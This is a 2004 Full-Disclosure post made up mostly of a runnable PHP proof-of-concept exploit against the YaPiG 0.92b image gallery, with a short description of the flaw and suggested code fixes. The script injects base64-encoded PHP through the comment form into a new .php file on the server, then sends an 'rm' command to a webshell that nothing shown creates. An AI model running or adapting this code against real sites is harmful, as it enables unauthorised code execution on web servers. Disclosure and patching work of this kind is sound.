#!/usr/bin/php

<?

/*

	YaPiG 0.92b add_coment PHP Insertion Proof of Concept
	By aCiDBiTS    acidbits@hotmail.com    07-August-2004


	Description:

	YaPiG (http://yapig.sourceforge.net/) is a PHP Image Gallery script.
	This Proof of Concept creates a php file that echoes a notice.
	First it determines a valid photo directory where to create the script.
	Then creates a crafted comment saved in a new .php file. This comment
	contains an encoded webshell.	Once this .php file is opened, the code
	contained creates test.php.

	Usage (in my debian box):
	php4 -q yapig_addc_poc.php "http://127.0.0.1/yapig-0.92b"


	Vulnerability:

	There is no user input sanization of some parameters in add_comment.php
	and functions.php.This allows to create a file with any extension, and we 
can
	insert any code in it. Version 0.92b is vulnerable, I haven't tested older 
ones.


	Workaround. Modify this lines of code:

	add_comment.php
	line 105:
		$comments_file= $gid_dir . $gid . "_" . $phid;
	Modify with:
		$comments_file= $gid_dir . $gid . "_" . intval($phid);

	functions.php, construct_comment_line()
	line 699-700:
		$linea=$linea . $data_array['mail'] . $SEPARATOR;
		$linea=$linea . $data_array['web'] . $SEPARATOR;
	Modify with:
		$linea=$linea . htmlspecialchars($data_array['mail']) . $SEPARATOR;
		$linea=$linea . htmlspecialchars($data_array['web']) . $SEPARATOR;

*/


echo "+-------------------------------------------------------+\n| YaPiG 
0.92b add_coment PHP Insertion Proof of Concept |\n| By aCiDBiTS    
acidbits@hotmail.com    07-August-2004 
|\n+-------------------------------------------------------+\n\n";

$websh="<?php 
\$f=fopen(trim(base64_decode(dGVzdC5waHAg)),w);fputs(\$f,trim(base64_decode(PD8gZWNobyAnPHByZT4gXCAgLyAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgXCAgLzxicj4gKE9vKSAgVGhpcyBnYWxsZXJ5IGlzIHZ1bG5lcmFibGUgISAgKG9PKTxicj4vL3x8XFxcXCAgICAgICAgICAgICAgICA
gICAgICAgICAgICAgIC8vfHxcXFxcIDwvcHJlPic7Pz4K)));fclose(\$f); 
  ?>";

if($argc<2)	die("Usage: ".$argv[0]." URL_to_YaPiG_script\n\n");
$host=$argv[1];
if(substr($host,strlen($host)-1,1)!='/') $host.='/';

echo "[+] Getting valid gid & photo path ... ";
$webc=get_web($host);
$temp=explode(";gid=",$webc);
$gid=intval($temp[1]);
$temp=explode("photos/",$webc);
$temp=explode("/",$temp[1]);
$path=$temp[0];
if( !$gid || !$path ) die( "Failed!\n\n");
echo "OK\n    GID: $gid\n    Path: ".$host."photos/".$path."/\n\n";

echo "[+] Creating notice script file ... ";
send_post( $host."add_comment.php?gid=".$gid."&phid=.php", 
"tit=a&aut=a&mail=".urlencode($websh)."&web=&msg=a&date=&send=Send");
$webc=get_web( $host."photos/".$path."/".$gid."_.php" );
send_post( $host."photos/".$path."/acidwebshell.php", "c=".urlencode("rm 
".$gid."_.php") );
echo "OK\n    Now go to: ".$host."photos/".$path."/test.php";


die("\n\n     \  /         \  /\n     (Oo)  Done!  (oO)\n    //||\\\\       
//||\\\\\n\n");


function get_web($url)
{
	$ch=curl_init();
	curl_setopt ($ch, CURLOPT_URL, $url);
	curl_setopt ($ch, CURLOPT_HEADER, 0);
	curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1);
	$data=curl_exec ($ch);
	curl_close ($ch);
	return $data;
}

function send_post($url,$data)
{
	$ch=curl_init();
	curl_setopt ($ch, CURLOPT_URL, $url );
	curl_setopt ($ch, CURLOPT_HEADER, 0);
	curl_setopt ($ch, CURLOPT_RETURNTRANSFER,1);
	curl_setopt ($ch, CURLOPT_POST, 1);
	curl_setopt ($ch, CURLOPT_POSTFIELDS, $data );
	$data=curl_exec ($ch);
	curl_close ($ch);
	return $data;
}

/*              \    /
                 (Oo)
                //||\\    */

?>

_________________________________________________________________
Add photos to your messages with MSN 8. Get 2 months FREE*. 
http://join.msn.com/?page=features/featuredemail

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.netsys.com/full-disclosure-charter.html